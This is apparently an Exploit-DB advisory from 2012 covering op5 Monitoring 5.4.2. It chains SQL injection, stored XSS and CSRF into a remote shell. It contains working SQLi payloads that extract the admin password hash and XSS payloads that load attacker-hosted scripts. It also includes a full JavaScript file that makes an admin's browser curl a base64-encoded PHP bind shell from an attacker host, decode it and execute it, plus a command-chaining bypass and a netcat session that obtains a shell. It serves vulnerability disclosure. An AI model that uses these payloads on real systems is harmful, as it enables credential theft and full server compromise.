op5 Monitoring 5.4.2 - VM Applicance Multiple Vulnerabilities

EDB-ID:

20760

CVE:





Platform:

PHP

Date:

2012-08-23


# Author: loneferret of Offensive Security
# Product: op5 Monitoring (VM appliance)
# Version: 5.4.2
# Vendor Site: http://www.op5.com/
# Software Download: http://www.op5.com/get-op5-monitor/get-started/

# Software Description:
# op5 is a market leading developer of Open Source Management solutions. 
# op5 develops and delivers enterprise-class software for monitoring and administration 
# of the whole IT, from hardware and software all the way to virtual or cloud based services. 
# The solutions comes in a fully supported package called op5 Monitor. The architecture 
# supports scalability from the small and business critical IT to the very large IT with 
# tens of thousands of actively controlled services.

# Vulnerabilities:
# SQL Injection
# Cross Site Request Forgery
# Stored XSS


# Description path to Shell:
# Several vulnerabilities are present in this software. All of which need different 
# levels of authentication. SQLi, CSRF and Stored XSS are present and can be 
# triggered giving variant degrees of results. From interesting to just plain annoying.
#
# But most interesting is the admin's (or the default monitor user) ability to run
# shell commands from the web-interface. Although these commands are limited, it is
# still possible to get a shell providing some conditions are met.
#
# As all of the vulnerabilities are post-authentication, it assumes the attacker is
# a user with access to the web application. In this case, a low-privilege user is enough to 
# get the ball rolling in getting a shell. With enough access our "disgruntled employee"
# can leverage the XSS & CSRF vulnerabilities and trick the higher privileged users to 
# setup a Bind-Shell.

# SQLi PoC 1:
# Minimum Access Rights needed: authorized_for_all_hosts
# Page: /index.php/status/hostgroup_grid?items_per_page=
# Original SQL statement called: select * from hostgroup limit 0 union 10 offset 0
# Injection point: select * from hostgroup limit 0 union <HERE> offset 0
# Payload: 0' union select 1,2,3,4,5,6,7--
# Get password hash for user with '1' (usually monitor)
# hostgroup_grid?items_per_page=0 union select 1,2,(select password from users where id=1),4,5,6,7--


# mysql> describe users;
# +---------------+------------------+------+-----+----------+----------------+
# | Field         | Type             | Null | Key | Default  | Extra          |
# +---------------+------------------+------+-----+----------+----------------+
# | id            | int(11) unsigned | NO   | PRI | NULL     | auto_increment | 
# | realname      | varchar(100)     | NO   |     | NULL     |                | 
# | email         | varchar(127)     | NO   |     | NULL     |                | 
# | username      | varchar(100)     | NO   | UNI |          |                | 
# | password_algo | varchar(20)      | NO   |     | b64_sha1 |                | 
# | password      | varchar(50)      | NO   |     | NULL     |                | 
# | logins        | int(10) unsigned | NO   |     | 0        |                | 
# | last_login    | int(10) unsigned | YES  |     | NULL     |                | 
# +---------------+------------------+------+-----+----------+----------------+

# SQLi PoC 2:
# Page: all?items_per_page=
# https://victim/monitor/index.php/status/service/all?items_per_page=25,0--

# Stored XSS PoC:
# Minimum Access Rights needed:	authorized_for_all_hosts
#								authorized_for_all_host_commands
# Page: /index.php/command/submit?host=[SYSTEM-NAME]&service=&cmd_typ=ADD_HOST_COMMENT
# In the Comment input field
# Payload: 	<script>alert(document.cookie);</script>
#			<iframe src="http://something.html></iframe>
#			<script src="http://attacker/xss.js></script>


#
# Setup for shell
# With some explanations...

# Step 1: XSS
# Payload in Host Comment: <script src="http://attacker/op5-shell.js"></script>	

# Step 2: Create JavaScript file to download shell file.
# op5-shell.js File
#

function triggerShell(){
		var url = "https://victim/monitor/op5/nacoma/command_test.php?cmd_str=ifconfig;";
		url += "curl http://attcker/b64shell.txt > /tmp/b64Bind.txt;"
		url += "base64 -d /tmp/b64Bind.txt > /tmp/hell.txt;php /tmp/hell.txt";
        var request = new XMLHttpRequest();
        request.open('GET', url, false);
        request.send(null);
}

function setupConf(){
		// The admin needs to visit this page at least once, in order to get the CSRF to work and 
		// call the 'command_test.php?cmd_str' and issue commands. Once the page has been
		// successfully called, we request our malicious link.
		
        var request = new XMLHttpRequest();
        request.open('GET', 'https://victim/monitor/index.php/configuration/configure', false);
        request.send(null);
        if (request.status === 200) {
                triggerShell();
        }
}

setupConf();

#
# End of file

# Step 3:
# netcat into victim on port 4444

# Well that's pretty much it. Once the administrator looks at the comment page associated with
# the machine the XSS is triggered and things happen. The fun part is, even if the comment
# is deleted, it's saved in the logs. So when that is visited the the Bind-Shell is
# triggered once again. It's actually a pain to get rid of once it's there.
#
# Shell commands from the Web-Interface:
# These are very limited in regards of rights and privileges. The commands aren't run
# directly from  a command shell but rather using a small complied script call "asmonitor".
# All the commands, from a shell's standpoint, are run with the "monitor" user.

# bash-3.2$ /usr/bin/asmonitor 
# usage: asmonitor arg1 arg2 arg3 argn...

# Chaining multiple commands is not permitted and only the first command will succeed 
# with the second one failing. Also commands requiring multiple parameters, such
# as 'wget' will also fail. As "asmonitor" mistakes options as commands due to the spaces
# between them.
# One way to circumvent this limitation of multiple commands is with the " ; " character.
# Example, "ifconfig ifconfig" will not work, with only the first "ifconfig" to successfully
# execute. Placing "ifconfig;ifconfig" in the web-interfaces's input box will result in
# both commands executing. This leads us to deduce the second 'ifconfig' is not running
# in a jailed environment. Providing us with a greater arsenal of commands available to us.
#
# Unfortunately due to rights restriction, we can't just download a file directly to our webroot.
# We do have a few rights in the /tmp folder. Unfortunately we can't just download a file
# file there either. This is what "wget" with the "-o" options gives:

# Command:
#	ifconfig;wget http://attacker/xss.js -o /tmp/test.txt
# --2012-08-22 04:03:46--  http://172.16.194.188/xss.js
# Connecting to 172.16.194.188:80... connected.
# HTTP request sent, awaiting response... 200 OK
# Length: 14 [application/javascript]
# xss.js: Permission denied
#
# Cannot write to `xss.js' (Permission denied).



# We can however save the output of a file called remotely using 'curl'.
# Command:
#	curl http://attacker/remote.txt > /tmp/test.txt
|
# bash-3.2$ cat test.txt 
#  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
#                                 Dload  Upload   Total   Spent    Left  Speed
#  0    23    0    23    0     0  18668      0 --:--:-- --:--:-- --:--:--     0
# Content of Remote file

# Well it's not perfect, and we still can't download a shell since the all that 
# transfer information gets in the way of any PHP tags. We can however output text, 
# which would be our shell code base64 encoded. This way curl will just display content
# of the file.
# Command:
# 	curl http://attcker/b64shell.txt > /tmp/b64Bind.txt;base64 -d /tmp/b64Bind.txt > /tmp/hell.txt
|
# bash-3.2$ cat b64Bind.txt 
# PD9waHAJCQoJCQlAc2V0X3RpbWVfbGltaXQoMCk7IEB.... and so on.

# From here, using our jailbroken "shell" from the web interface, it's a simple
# matter of decoding it [base64 -d /tmp/b64Bind.txt > /tmp/hell.txt]. 
# Command:
|
# bash-3.2$ cat hell.txt 
# < ?php		
#			@set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);
#			.
#			.
#			.
# ? >
			
# Luckily for us we can execute some stuff as well from our web interface.
# From here we simply call our PHP shell using the "php" command, this should open
# us port 4444 give provide us with a shell on the system.
|
# Victim Machine:
# bash-3.2$ netstat -antp | grep 4444
# (Not all processes could be identified, non-owned process info
# will not be shown, you would have to be root to see it all.)
# tcp        0      0 0.0.0.0:4444                0.0.0.0:*                   LISTEN      9432/php            

# Attacking Machine:
# root@harvey:~# ifconfig eth2
# eth2     Link encap:Ethernet  HWaddr 00:50:56:3b:4b:ad  
#          inet addr:172.16.194.188  Bcast:172.16.194.255  Mask:255.255.255.0
#          inet6 addr: fe80::250:56ff:fe3b:4bad/64 Scope:Link
#          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
#          RX packets:160217 errors:0 dropped:0 overruns:0 frame:0
#          TX packets:205140 errors:0 dropped:0 overruns:0 carrier:0
#          collisions:0 txqueuelen:1000 
#          RX bytes:32606164 (32.6 MB)  TX bytes:140956811 (140.9 MB)
#          Interrupt:19 Base address:0x2080 
|
# root@harvey:~# nc -vn 172.16.194.198 4444
# (UNKNOWN) [172.16.194.198] 4444 (?) open
# whoami
# apache
# uname -a
# Linux op5-system 2.6.18-164.11.1.el5 #1 SMP Wed Jan 20 07:32:21 EST 2010 x86_64 x86_64 x86_64 GNU/Linux